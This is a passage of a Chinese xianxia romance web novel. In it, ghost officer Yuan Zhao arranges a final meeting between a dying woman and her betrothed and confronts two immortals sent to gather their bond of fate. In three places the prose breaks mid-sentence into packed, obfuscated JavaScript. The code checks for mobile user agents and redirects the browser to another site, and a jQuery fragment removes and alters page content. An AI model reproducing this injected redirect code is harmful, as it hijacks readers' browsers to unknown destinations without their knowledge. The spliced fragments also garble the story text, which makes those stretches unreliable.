苏问衡斟酌着,开口道:“这并不是你的错,因为即使是凡人自己,也往往无法看清自己的心。” 此时红日已经半落,赤红青蓝的云霞扫了一片,火一般熊熊燃烧,分明都是极为艳丽的色彩,却相互交融侵蚀,渐渐分不出你我。 “爱能催生出许多情感,先是依赖、眷恋,后来因为失去而自弃、厌恶、不甘……它们或许最初时都如晨曦般澄澈,却因太过强烈而不得不彼此侵蚀,以致于到最后,何九安已经无力去分清,这到底是怎样一种心情。” 爱也热烈,恨也热烈,他们早已分不清,此时此刻在心里回响的到底是哪一种情绪,只能慌乱抓住最诱人的那一个声音,拥抱它,追随它,听从它。 最后,再沉沦于它,直至万劫不复。 “然而实际上,只要拨开最上面一层迷雾就会发现,他们的情感并没有那么复杂。” 他这般说着,忽然站起身,挥出几道纤细银丝,朝着裂口飞快掠去。 原昭一愣,下意识地拉住他:“你——” “别着急,你看。”他反手轻轻握住她的手腕,示意她望向天边。 原昭不知他葫芦里卖的什么药,但从他坦然的神色来看,应当不是什么坏事,于是半信半疑地抬头望去,便见到沉沉黑雾中,逐渐浮现出两道浅淡熟悉身影。 两道身影都萦绕着朦胧白光,但依旧不难看出来,一人穿着藏蓝长褂,一人穿着绛色长裙,携手站在一起,像是话本上的才子佳人。 艰难前行中的何九安猛地顿住,下一刻,手脚并用地推开涌上来的黑雾,风一阵地撞进他们怀里。 “这是……”原昭讶然。 “放心,只是几道幻影罢了,不会给她造成什么影响。”苏问衡解释道,“她接下来要走的路不容易,若能有亲人相伴,走来也能轻快些。” 他忽然意识到自己还拉着原昭的手,不由得尴尬地轻咳一声,不着痕迹地松开了。 原昭丝毫没察觉他的动作,目不转睛地看着天上三道相拥的身影,胸中那股郁气似乎也散去不少。她忍不住拍了拍苏问衡的肩膀,惊叹道:“可以啊,苏问衡,想不到你还是个——” “姐姐!” 这一声惊响天地,原昭手一抖,差点没把苏问衡肩领拍歪。苏问衡叹了口气,优雅地将它扶正,目光淡淡扫去,却是一顿。 裂口中出现了第四道身影。 身形纤细,一袭鹅黄色衣裙,发上几朵明艳簪花,站在何九安身后几步远的地方。 见何九安看来,那身影似乎更高兴了,双脚踮起,拼命地挥手。 “那、那是假的何九安?”原昭瞪大眼睛。 苏问衡也有些意外:“没想到,她会出现在这里。” “怎么?这不是你安排的?”原昭诧异道。 苏问衡摇头:“我只造出了何家夫妇的幻影而已,但就像先前所说,幻境中的一切都是围绕何九安的心愿而生的。既然她出现在了这里,那就说明这是何九安所希望的。不过…… “不过什么?” 他的目光在两个何九安之间来回巡梭,若有所思:“从她那一声姐姐来看,或许,她已经不只是何九安幻想中的那个自己了。” “假何九安”站在原地,双手交叉握在身后,和何九安遥遥相望。 她们中间不过隔着几步之远,却仿佛隔着天堑。一人活泼俏丽,一人沉稳安静,就像一棵藤蔓上的两朵花,虽然外貌相似,气质却极为不同。 像是要印证苏问衡的话一般,她忽然将双手拢在嘴上,拼尽全力喊道:“姐姐再见!” 何九安面色苍白,踉踉跄跄地往前走。那身影却怕她跟上来似的,急忙往后退了几步,朝她轻轻摇了摇头。 就像一捧细碎金桂,很快消散在了风中。 “即便是在幻境中,也不可能同时出现两个完全相同的个体。所以,从她出现在何九安眼前的那一刻起,她就不是,也不可能是另一个何九安了。” 原昭轻“嘶”了一声,回想起先前在何家的经历,觉得头又隐隐疼了起来:“那她对何九安到底是什么情感?” “倒也不奇怪。”苏问衡耐心道,“她毕竟是依托何九安的心愿而生的,对自己的造物主有一些天然的亲近也很正常。” 这番话说得有些难懂,原昭歪头琢磨了片刻,忽然抬起眼,不怀好意地盯着他:“苏问衡,我发现你很懂欸。” 苏问衡选择忽略她眼里的揶揄:“不过是多看了些话本罢了。” “是吗?”原昭挑眉看着他,忽然伸出一根手指,隔着衣裳,虚虚点在他的胸口处。 “可这里,苏问衡,我感受不到一丝波动。” 他们如今感官相连,她能感受到,他的情绪总是很平缓,就像波澜不惊的湖面,平和沉静,却没有任何起伏。 仿佛是一块温润的玉里,包裹着不化的寒冰。 苏问衡神色从容:“镜灵一族修行时讲究心境平和,在下向来如此。” 他看着那双因好奇骤然亮起的眸子,心中一动,鬼使神差问:“那……姑娘呢?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854746|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我?我怎么了?” “赵姑娘的心绪,似乎也没有变化。” “这不很正常?”原昭眼睛眨也不眨,摊手道:“我就是一只鬼,哪有什么情感?” 苏问衡轻轻一笑:“既然如此,为何还要拼尽全力来救她?你只要尽到职责,无人可以责怪你。” 原昭双手环胸,笑嘻嘻道:“我不是和你说过了吗?一是想看着他们生离死别,二是不想处理那些该死的怨气。” 苏问衡定定地看着她:“你分明不是这么想的。” 若是为了看戏,世上何处没有生死离别;若是为了逃避职责,她如今魂力不低,若真不想干,谁能勉强她? 他的眼神深邃,像是要洞穿她心里的秘密。原昭的笑容渐渐淡去,偏过头,望向天边那抹云霞,淡淡道:“我没有骗你,我的确是这么想的。只是……” “苏问衡。”她叹了口气,连名带姓地唤他:“你可知命簿上,有关何九安的批语有几句?” “几句?” 原昭伸出两根葱白玉指,在他面前晃了晃。 “两句。第一句,交代了她的籍贯、姓氏、以及最后病故的结局。而第二句……” “是和邵小公子有关?”苏问衡轻声道。 原昭一笑:“是,你也看出来了?” “邵家小公子命格贵重,举止风度皆与凡人不同,我……咳,待久了,自然能感受到。” 原昭没有注意到他话里的停顿,点头道:“因此这第二句,才是她的批语中最有分量的一句。你觉得,她与邵景的姻缘,应该是天赐予她的良缘,还是天给邵景的考验?” 苏问衡的眸色渐深:“自然是后者。” “没错,对于天命而言,她的死亡能给邵景带去什么考验,显然更为重要。不然一段未成的姻缘,何以写入命簿中?唯有让邵景历遍劫数,才能浴火重生,扛起那份贵重命格。 “是不是很好笑?关乎她此生命运的批语,一句绝了她的生机,另一句,不过是命贵之人的附庸。” 她转过头,那双黑白分明的圆眸亮得格外惊人:“我不过一个鬼差,天命怎么写,我就只能怎么做。但若能在我力所能及的范围内,让她自己做一次选择,倒也不枉我与她的两面之缘。” 苏问衡低下头,看着那颤动长睫下的灼灼眸光,心中升起一丝怪异的感受。 他们如今感官相连,说这些话的时候,他理应能从她身上感受到一些情绪。 诸如忿忿,诸如感伤,诸如坚定。 但她没有。 从密室到这里,她的语气有时欢快,有时怅然,可她的情绪始终却如深海一般沉寂,没有一丝波动。 不,准确来说,是每每要有波动时,四胲就会流窜出一股刺骨寒意,将那波动压制下去。 好像一块始终无法化解的坚冰中,偏偏升起一团熊熊燃烧的火焰。 她说她是鬼,所以没有情感。但苏问衡知道,不是所有鬼都没有情感。 至少那些曾经活过的鬼,是能与凡人共情的。 “罢了,说这些作甚呢?” 原昭笑着摇了摇头,语气重新轻快起来。 她足尖一点,掠到屋檐边上,转过头,笑意盈盈地看着他。 “幻境要破了哦,要不要,我带你一程?” 此刻天幕已经裂开,裂隙中逸散出万千光芒,却都难掩少女眸中光亮。 他忽而掀唇一笑:“好。” 大步向前,在她身前停下,低头看她:“如何做?” 12. 谁犹疑 苏问衡的眼神如同他这个人一般,沉静而正直。可偏偏从她这个角度看过去,长睫的倒影落在那双褐色瞳仁上,像掠过池水的轻羽,多了几分无辜的意味。 原昭眨巴眨巴眼,突然起了些坏心思。 “嗯,我想想哦……” 她做出思索的模样,一边说着,一边往后退,就在右脚脚跟踩出屋檐时,突然像拦腰折断的蒲苇一样,向后一滑—— 二人感官相连,周遭风势诡异扭转,及时托起了少女的肩背,自然也托住了他的。他知道她不会有事,她也知道他知道。 但这似乎都不重要了。 因为当他反应过来时,自己已经在空中了。 耳边风声烈烈,青袖皓腕在他眼前明晃晃地亮了一瞬,赤金钏叮铃作响,似要嘲笑他片刻的失神。而他的手隔着衣袖,握在少女的腕上。 他回过神,素来波澜不惊的面上终于起了一丝薄怒。 “你怎么……” “鬼差不能走回头嘛,”她有些无辜地晃了晃手腕,声音却理直气壮:“只好委屈你啦。” 苏问衡有些无奈,常言道,阴间无常十言九欺,她此刻说得可怜,暗地里指不定在笑话他呢。 他沉了沉气,开口道:“下次——” 然而话一出口,他又不知道自己哪来的立场说这话:此间事毕,她就要回到酆都,而他也会回到他应去的地方,哪里还有下次呢? 如此想着,他转了话头,放缓了语气:“下次小心些,可莫要吓着旁人了。” “知道啦知道啦。” 原昭从他手中挣脱开来,反手拉拉他的衣袖,示意他看向天上。 此刻天幕已经完全碎裂,天光碎作万千流星,沿着天际急速坠落。 两人不说话了,任由风托着他们缓缓地向下坠落。 他忽然理解了原昭这么一遭的用意: 凡人的心绪如此之美,错过了岂不可惜? 不知过了多久,风声如浪潮般退去,原昭只觉得头痛欲裂,挣扎着睁开眼,发现自己趴在了石榻上。 榻上传来微弱的呼吸声,女子双颊泛起红晕,眼睫颤动,显然是要醒了。 她还未松一口气,洞外便响起长平公慌里慌张的呼喊。 “原大人不好了!不知哪里来了两个仙人,把邵家小公子拦住了!” ………………………… 邵景直到今日才发觉,长平山的山道原来如此漫长。 他沿着这条山道走过无数次,他知晓鸟雀喜在哪里筑巢,何处的溪水最清凉,自然也知晓,在哪个山谷里,可以采到何九安最爱的那种白瓣黄蕊的野花。 但此时此刻,他只恨眼前林木密密,挡住了他的去路。 “轰”地一声,一道阴影笼罩着他急剧砸下。他双腿夹紧马肚,急急勒住了马。马蹄子高高扬起,团团转了一圈方才停下。邵景看着面前横亘路上的巨树,目中寒意渐起。 第二次了。 这是他一路遇到的第二次莫名奇妙的阻挠了。 难道上天当真容不得他们再见一面吗? □□的马连着奔波了两日,此刻受了惊吓,说什么也不肯往前走。他只好下了马,深一脚浅一脚地向山上跑去。 那位过路的老者说,他见到九儿往这个方向走了,只要他跑得够快,就一定能将她带回去,一定能—— 轰隆隆! 山林深处一阵巨响,似是有什么东西急速滚落。他摸了摸怀中尚且温热的花糕,缓缓握紧了拳,目光坚定。 好在山林摇晃过一阵后又归于平静,他松了口气,抬头看着面前的两条岔路。 昨夜下过雪,山路上盖了厚厚一层,两条岔路上都有错乱的脚印。一时间,他竟难以决断。 正在犹豫之际,一阵寒风吹过,左侧草叶摇曳之间,似有有珠光一闪而过。 走近一看,是他曾送给何九安的簪花。 他一时不知该是喜还是悲,俯身将它捡起,小心收入怀中,沿着左侧的山路走去。 高树密叶中,原昭立于树梢,目送着邵景的背影渐行渐远,心下略略安定。 她转身看着面色铁青的一高一矮,鞭子一扬,收回腰上,不卑不亢地拱手笑道:“两位仙长大驾光临,卑职公务在身,有失远迎,还望仙长谅解。” 这二仙头戴玉冠,广袖长袍,手中捧着一模一样的双耳白玉瓶。高的那个眼皮一掀,上下打量她一番,淡淡道:“差使若是无事,便请先让开吧。司命殿执行公务,尔等莫要挡路。” 原昭佯装不懂:“如今正是引渡魂魄的关键时刻,仙长能否告知在下,所为何事?” 矮仙人抚着长须,笑眯眯地道:“姑娘不是不知晓事理之人,实话与你说吧,我们二人正是为了这个魂魄而来,邵景命格过重,怕他惊扰了亡魂,特意为此敢来。” 这话就是在糊弄她了,何九安和邵景并非陌生人,两人心意相通,彼此牵挂,断然不会有什么惊扰之事。 再者,天界行事讲究坦荡,若是要紧公务,必有文书说明,如此这般模糊,怕不是有什么见不得人的秘密。 原昭心下有了计较,心念一转,敛眉道:“是。” 二仙见她不再阻挠,满意地点点头,袖袍一甩,正要朝着邵景消失的方向掠去。山林深处忽然传来一声长啸,惊得鸟群簌簌飞起。 一道巨大身影跳窜到树林上空,漆黑头颅四处转动,仿佛在寻找什么。铜铃大的红目却失了焦距,青色汁液汩汩冒出,沿着四周残魂的轮廓淌下。 “哎呀!”原昭失声叫道,“是、是罔鬼!” 她惊慌失措地看向二仙,一双杏眼盈满惧色:“我先前从它手中救下那个魂魄,现下怕是要找我寻仇来了,二位仙长,可定要帮帮我呀!” 说罢,她也不顾二仙说什么,将头上的乌木簪拔下丢到他们脚边,青烟一阵溜走了。 “你等等——” 二仙的话还未说完,便被一声怒吼打断了。罔鬼发足狂奔,掀起一阵腥臭狂风朝他们袭来。 原昭头也不回,憋笑憋到差点散了形体。 这两位毕竟是天庭派下来的,身份地位高她一等,她暂时不能与他们撕破脸皮,只能尽可能地拖延时间。 好在先前想着事后审讯,并未当场杀了那只罔鬼,只是用阵法困住。它武力虽强,灵智却不高,此刻束缚一解,必然怒气冲冲,要来寻她报仇。然而双目已瞎,只能凭着最近的气息来断定她的踪迹。 能做的都做了,接下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854747|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 她想起山洞内气息奄奄的女子,心逐渐沉下来。 就看他们自己有无缘分再见一面了。 原昭几个纵掠来到山洞口,敛进树冠内,目不错地注视着树下山道。 不多数,脚踏枯叶的咔嚓声匆匆响起。苍苍树林间,一抹青蓝色渐渐清晰起来。她看清了那人的模样,暗暗心惊。 素日俊朗端方的邵家小公子浑身尘土,衣冠凌乱,青蓝圆袍划了几道长口子,脸上、手上都被刺出深深浅浅的血迹,血珠子渗出来,混着尘土和汗珠,缓缓滴下。 他咬着牙,手脚并用地爬上坡,朝山洞奔去。 原昭还未来得及松口气,身后忽然传来疾疾风声,一股凶悍劲气迎头罩下。她心下一惊,反手回挡,余光却见一截断树从侧面急剧砸下。 她目光一沉,掌中青光猛地吐出,竟生生逼退了那股劲气。同时长鞭急抽,三两下缠住断树,用力回拉。那断树被一左一右拉扯着,就这样悬在半空中。 “差使这是何意?”玄长疾声喝道。 原昭也不兜圈子了:“仙长说是紧急公务,可有公函?可有文书?再不济,可有天庭特令玉牌?我虽然只是鬼差,规矩却还是懂一些的。” 玄长面色愈发难看:“仙家密事,不得打听。” “噢?”原昭的目光在那对双耳白玉瓶上打转一圈,道:“连我们酆都百年小鬼都知晓,世间凡人若要结合,需有姻缘之力将他们牵合;待其分离,司命殿会派人将姻缘收回。这是依据天命行事,光明磊落,何来密事一说?” 她说得不假,姻缘是由天道运转所生,天地之间自有定数,不仅不可滥用,也不能弃之。 矮个子仙人神色有些尴尬,拂尘卷着断树,摆出一副夫子的模样道:“你说得确实没错,但其中还有许多不能与外人道的秘辛,你还是快快让开些罢。” “那仙长这是承认了是来收回姻缘的?”原昭假装没听懂,只揪住一个点不放,“巧了,我也是为他俩的姻缘而来,既然如此,不如请仙长与我皆做壁上观,等上一炷香的时辰,我保证不妨碍仙长。” 凡人离别时缘分了断,姻缘会自行从他们身上逸出,根本不需要借助外力。等他们见个面道个别,压根不会影响收集到的姻缘。 除非……他们还抱着另外的心思。 玄长咬牙喝道:“我早就说这是个油盐不进的犟种,玄慈,你还等什么?” 玄慈圆滚小眼中闪过精光,叹道:“既然姑娘执意如此……” 他拂尘猛地一荡,劲气齐齐喷出。赤金鞭上传来的力道仿若重了千斤,原昭冷哼一声,鞭上青金光芒骤然大盛。 两股力道悍然相撞,僵持空中。劲气波浪似的一圈圈地向外扩散,周围树木如遇狂风大作,枝叶乱晃,离他们最近的那棵一人环抱的大树终于承受不住这余波,咔嚓一声,朝着山洞的方向缓缓倾下。 邵景双目赤红,向前扑去—— 可惜,他终究还是慢了一步。 大树轰然砸下,挡住了大半洞口。 “天意!天意啊!”玄慈惊叹道。 原昭默然看着跪在断树前的那道背影,闭了闭眼。 事到如今,她若再干涉,就要卷入他人的因果了。 13. 忍别离 跪在树前的男子忽然站起身,双手抱住树干,使劲向外拖拽。树皮粗糙,鲜血汩汩地从他掌心冒出来,很快染红了袖口。他浑然不觉,牙关死死抵在唇上,逼出一圈血珠子来。 二仙见状,稍稍踟蹰,然而未等他们行动,周身寒气骤降,一道青影手持长鞭挡在他们面前。 原昭侧过头,日光明晃晃打落在她苍白的脸颊上,却无半分暖意。 “二位仙长莫忘了,邵小公子是何许命格,若是强行介入他的因果,怕是要遭天谴。” 她不能插手,他们也休想。 既然他们拿邵景的命格来压他,那她也可以以同样的理由压回去。 玄长玄慈对视一眼,终于极不甘心地后退一步。 “咚”地一声闷响,那断树终于被推开,露出背后的幽黑洞口。邵景顾不上拍落身上尘土,连滚带爬地扑了进去。 “九安!” 原昭长舒一口气,心中一块大石总算放下来,也不看身后二仙是何表情,旋身进了山洞。 邵景踏着洞内枯叶急急奔走,总算见到了趟在石榻上的何九安,心中猛地一颤。 何九安脸上毫无血色,双目紧闭,身子蜷成小小一团,缩在床沿。他颤抖地伸出手,竟然不知应该落在何处。 怎么会如此?半个月前,他寻来了神医,几幅药下去,明明身子已经好转,又能自个儿起来蒸花糕了。 在出发之前,她将一笼桂花糕端上蒸笼,说是新研制的配方,等他回来就能尝到。他低头看她,一个没忍住,将人往怀中一带,摩挲着她耳边的碎发低低地道,来年开春,我们就成亲可好? 女子纤细的手臂环住了他,在他怀里轻轻点头。 不过是一日功夫,怎会变成这样? 他俯下身,小心翼翼地探了下鼻息。 还好,虽然很微弱,但还有些温热。他心中又燃起了几分希望,左手从她脖颈下穿过去,想要把她抱起来。 怀中的女子颤了一下,吃力地睁开眼。 “咳……阿景,是、是你吗?” 声音微弱到几乎不可闻,然而落在他耳中无异天籁。邵景猛地低下头,欣喜若狂。 “别说话,小九,我带你回家,我们回家,好不好?” 他紧紧地搂着她,生怕一松手,她就会在他眼前消散。 “阿景,没用的。” 她摇了摇头,颤巍巍地探出手,抚上邵景手背上遍布的血痕,轻声呢喃:“怎么把自己搞得这么狼狈……” 邵景将头埋进她的颈窝里,颤声道:“不,不会的,我们去找神医,如果他治不好,我们就去找新的。小九,你答应过我的,你会一直和我在一起。你答应过我的,答应过我的……” 何九安靠在他的怀里,只觉得四肢暖烘烘的,浑身都松软了下来。 她慢慢地闭上眼,轻声道:“花糕我蒸好了,放在蒸笼上。《长平八景》放在衣橱里,我想把它带走。还有……” 她只说了两件,胸腔就泛起锐利的疼痛,逐渐往四胲散去。 她先前听那两位神仙说,那个梦是依照她的心意建成的。梦里没有邵景,她原本以为,那是因为她对邵景已无遗憾。 可临到分别时,才发觉,还有许多话未说。 她想告诉他,她其实也能爬上那山坡,只是贪恋他背上的温暖,这才耍着赖着要他背上去。 她想告诉他,她早就悄悄托人买了红绸布,做了半双鞋子,藏在了衣橱底。 她还想告诉他,其实早在父亲学堂里看到他的第一眼开始,她就喜欢上他了。 可她好痛啊,痛到一句话都说不出来了,五脏六腑都在绞,连眼前的他都有些模糊了。 从前他总是缠着她问,到底是因为一纸婚约和他在一起,还是因为真心喜欢。她却怕羞不肯说,总想着成亲后再告诉他,可临了临了,竟没有机会说出口。 一滴泪落到何九安的手上,她仿佛被灼伤了一般,轻轻一颤,吃力地抬起手,想要替他拂去侧脸的泪。 “莫、莫哭呀……” 邵家小郎君最是倔脾气,四年前为了和她的婚约,和家里闹得不可开交,三十鞭子落到身上都一声不吭,如今怎么哭成这样子? “能再见你一面……我已是、已是……” 话音未落,她的手就这样停滞在半空中,颓然垂下。 时辰到了。 “九安?九安!” 邵景不敢置信地低下头,紧紧抱着她,仓皇大哭。 女子安安静静地歪在他怀中,双目闭阖,神情安详,看上去只是睡着了似的。 仿佛下一刻,她就会从他怀里爬起来,擦去他眼角的泪,柔声笑道:“好啦,莫哭啦。” 但那已经不可能了。 原昭站在他们身后几步远的地方,面无表情地看着眼前雕塑般的二人,半响,垂下眼帘。 她和苏问衡说的是实话,她千方百计将何九安寻出来,的确是为了看他们二人分别,也的确有她的私心。 眼下这般情景,就是她的私心。 凡人诀别时的情感强烈而汹涌,唯有如此才能给予她足够的刺激,才能让她…… 不,现在不是说这些的时候。 原昭感受着从四胲蔓延开的噬骨寒意,突然觉得有些索然无味。 到底是怎么索然无味,她也说不清,只是觉得,凡人这般情感,实在噎得她心里发疼。 点点红芒从邵景和何九安腕上浮出,四散开去,身后玄长惋惜道:“唉,还是比预期差了些许,可惜了。” 看来这就是姻缘了。 原昭瞥了他们一眼,不知怎的,她突然失去和他们纠缠的兴趣。 “既然你们已经拿到了想要的东西,那就请出去吧,莫要惊扰了亡魂。” 像是与她的话相互印证似的,几缕白光从何九安身上逸出,渐渐凝聚成一道模糊的人影。长发披散,身躯苍白,低垂着头,呆呆看着邵景和自己的尸身。 玄慈眼风一扫,惊叹道:“这是从圆满咒中醒过来的魂魄?还真是不得了。” 原昭目光落在何九安脚踝上的一圈淡淡黑气,眉心微蹙了蹙。 圆满咒虽已破解,但何九安毕竟在其中沉溺了太长时间,不可避免地留下些痕迹,好在不是很严重,稍稍处理一下便可。 又听玄慈声音和蔼:“姑娘倒也不急着赶我们走,圆满咒难得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854748|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一见,我等也想留下来旁观一二。若她待会变成怨鬼了,还能帮你一把。” 原昭耐心终于告罄,转过身,抱着鞭,上上下下地将他们打量一番。 玄长长眉一拧,防备道:“你想要做什么?” “你们有完没完?” 原昭突地开口,将他的话堵了回去。 被这么一抢白,玄长有些猝不及防:“什、什么?” 原昭一翻白眼,毫不客气地开骂:“我说你们有没有完?人家都死了,还惦记着人家不放,说出去我都替你们害臊。不就是因着邵景命格贵重么?怎么,少了这份姻缘就要被踢出司命殿了?若真是如此,我倒是敬佩那劳什子司命殿几分。披了这层皮,戴了顶高帽,长得人模人样,却连地上跑的水里游的畜生都不如!” 她这一长串话跟倒珠子似的,噼里啪啦说完,气都不带喘一下。豚鱼精小眼放出精光,崇拜地看着她。 若是能不顺带着骂他就更好了。 旁边的长平公却是眼皮一翻,差点撅了过去。 天杀的,这可是仙人啊,她这是要造反不成。 玄长一张老脸由青转白,再由白转青,手指颤颤地指着她的鼻尖,半天说不出话来。 “你你你……” 她笑着将他的手指按下:“您老也别杵着根手指了,还是练练说话罢。莫要一把年纪了,连话都说不圆乎。” 见玄长气结,她又做恍然状:“哦,原来是不会说话,才一把年纪了,连个一官半职都没混上?” 原昭越骂越畅快,气也顺了,头也不疼了,干脆撸起袖管,单脚踩在一旁的石头上,大马金刀地开了鞭。柳眉倒竖,杏眼圆睁,活脱脱一副占山匪首的模样。 不能动手,还不能动嘴不成? 玄长一口气终于缓了上来,怒气冲冲道:“你给我等着!” “等着就等着。” 原昭丝毫不惧,森然一笑,两排尖尖的雪白细牙露出来,像极了地狱里爬出来的恶鬼。 她就不信了,这两个老家伙能舍下这个脸,去酆都告她的状。 “姑娘未免太过分了些。” 玄慈此时也反应过来,面色难看道。 成仙千年,他何时被人这般指着鼻子骂过?就连衡镜仙官见了他们,也得恭恭敬敬地称一声前辈,今日却在一个不知来历的小鬼这里栽了跟头。 然而此刻再争执下去未免太掉身价,玄慈撂下狠话:“司命殿向来讲究因果循环,姑娘今日这般行径,来日必会遭报应。” 说罢,一甩袖袍,转身就要走。 身后少女不紧不慢道:“这话我也原封不动地奉还给仙长,在高处待久了,以为自己是执掌因果的人,却忘了自己也在因果中……” 漫不经心的语调,像是冬日洋洋洒洒的一捧飞雪。玄慈脚步顿住,下意识地转过头。原昭却不看他,收了长鞭。足尖一转,唤道:“好了九安,时辰到了,该走了。” 唤了两声,那低垂着头的素白身影一动不动。原昭觉出不对,连名带姓地又唤了一句:“何九安?” 这一声不轻不重,却仿佛砸落平静湖面的石块。女鬼猛地抬起头,眼中凶恶红光乍然显现。 14. 相识否 原昭瞳孔一缩,挥手飞出两条青色匹练。何九安却不知哪里来的力气,竟从两条匹练的包围中挣脱出来,朝着二仙狂奔而去。 她像是铆足了此生所有的力气,直直地撞向那两个白玉瓶。原昭脚下慢了一步,竟是没抓住她。 玉瓶双双坠地,骨碌碌地滚了几圈。点点红芒从瓶口处逸出,消散得无影无踪。 “你干什么?!”玄长大惊,连忙驱动术法,试图将逸出的红芒捞回来。 何九安撞翻白玉瓶后也不逃窜,垂手默立在原地,头都不抬一下,一副任杀任剐的样子。 原昭足尖点地,瞥了她一眼,伸手将她拉到身后。 “阁下这是何意?”玄慈没去收红芒,也没理会地上的玉瓶,只阴沉着脸看她。 原昭摊开手,一副赖皮模样:“仙长方才也说了,这是从圆满咒中挣脱出来的,有变成怨鬼的潜质。我一个小鬼,一时失手也是正常。” 玄慈拂尘一摆,冷声道:“既然如此,那我等也不得不出手相助了。” “这倒不必了,在下分内之事,若还劳驾仙长出手,岂不是要挨殿主责罚?” 说罢,她手腕一翻,反扣在何九安掌心,当着二仙的面大摇大摆地念起了诀。 赤金钏的玉石莹莹透亮,何九安似是感应到了什么,迟缓地转头看着原昭,唇角动了动,似是想说些什么。原昭恍若未觉,指腹用力一摁。何九安浑身一震,终于垂眸敛眉地安静了下去。 不消片刻,魂魄凭空消失,原昭腕上倒是多了一副乌木镯子。 玄慈面色阴寒:“这鬼魂擅自放走姻缘,干扰司命殿办事,你这是要包庇她不成?” “仙长此言差矣,姻缘乃是天地造物,非司命殿所有,不过是回到天地之间,又何来放走一说?” “伶牙俐齿!”玄长翻手将玉瓶收起,掌中渐渐聚起光芒:“若不交出那只鬼魂,本仙今日就替几位殿主教训教训你!” 长平公左看看右看看,嘴一咧,差点没哭出来。 三位大人,非要在这里打吗? “长平公。” 他浑身一抖,老老实实地走到原昭身后,硬着头皮道:“大、大人。” 原昭没看他,慢慢道:“待会打起来,带着你山里这些魑魅鬼怪都离远点。” 长平公眼巴巴地问:“真要打啊?” 见原昭不吭声,他又赶紧补了一句:“你打不过他们的。” 原昭食指轻轻叩在乌木鞭柄上,一双漂亮眸子平静地盯着渐盛的光芒。 一打二。 全身而退不敢保证,但她起码能带着何九安离开,如果拼上所有底牌,或许还能让其中一个折损百年修为。 长平公说得不错,她确实打不过他们。且不说双方修为差距,单从术法来看,仙界修炼的是光明磊落的名门正法,而酆都盛行的是阴森古怪的偏门法术。即便是修为相当的一仙一鬼打起来,往往也是仙界更胜一筹。 只是酆都护犊子风气盛行,打她记事开始就是阎王护着她,后来多了师傅,再后来还有一众师兄师姐,自然不能在她这里断了传承。只是她没有谁可以护,只能护一护底下的鬼魂。 是以,她今日必须将何九安全须全尾地带回去。 “哼,不知好歹!” 玄慈冷哼一声,手中佛尘忽地一扬,三千尘丝细雨一般朝她的手腕洋洋洒下。 原昭不敢掉以轻心,就在尘丝快要触到她的腕子时,身形忽地轻晃,散作青烟一缕从丝网中绕过,直奔洞外而去。 二仙穷追不舍,原昭瞥见身后两道白影越来越近,心中一动,掐了诀,光芒从乌木鞭头一寸一寸亮起。她几个纵掠上了树,反手急抽,尖厉鞭声挟着风声疾掠而去。 玄慈见她居然还敢主动出手,冷笑一声,双手飞快结印,一道金光手印自掌中推出,缓缓迎上长鞭。 “轰!” 惊雷炸响,天色骤暗。电光之下,原昭一张小脸苍白如雪,瞳仁却异常黑亮,手腕已经微微颤抖,却依旧用力捏紧了鞭子,不肯松手。 忽然间,二仙面色一变,玄慈佛尘一收,抽身急退。 然而原昭却没有他们这般收放自如的功力,这一鞭蕴含了她十足的力道,没了阻挡后如入无人之境,挟持着狠厉劲气,结结实实地打在他们手臂上。 “啪!” 躲在不远处的长平公和豚鱼精眉心跳了跳,皆替原昭捏了一把汗。可二仙却无甚反应,瞪大眼睛,死死盯着天上。 一道萦绕着淡淡白光的颀长身影立在半空中,容貌隐没在白光中,不甚清晰。 玄慈面上青白交加,惊惧万分。 怎么会?此前不是传言衡镜仙官闭关了吗?怎么会出现在这里? 既然他出现在这里,那是不是意味着,姻缘账本亏空的事情已经暴露了?! 不,不对,若是事情暴露,不应只有他一人前来。 玄慈定了定神,上前一步,朝天上揖了一礼:“见过衡镜仙官,这位无常纵容鬼魂闹事,我与玄长正在制止她。” “人是我打的,魂魄是我收的,但要说我纵容她,没有。”原昭收回鞭子,看着天上,沉声道。 是她做的她会认,但不是她做的,她也不会应下来。 那身影却不看她,目光落在玄慈身上,淡淡道:“二位仙长,你们今日的行为怕有不妥。” 他言辞客气,却蕴藏着不容他人质疑的威严。 玄慈不甘心道:“敢问仙官,我们是哪里不妥?” 那声音平静道:“二位还不明白么?你们已经卷入了凡人的因果中。” “衡镜仙官,我等只是秉公办事,未曾——” 玄慈下意识地辩驳,可话说到一半,他的脸色猛地一白。 衡镜仙官说得没错,他们今天确实是卷入凡人因果了…… “你们误了他们见面的时辰,此为因;她散了你们瓶中的姻缘,此为果。因果报应,如何不是?” 声音骤然严厉,竟比今日穿林的风还要肃穆几分。玄慈猛地一凛,背后顿时汗涔涔一片。 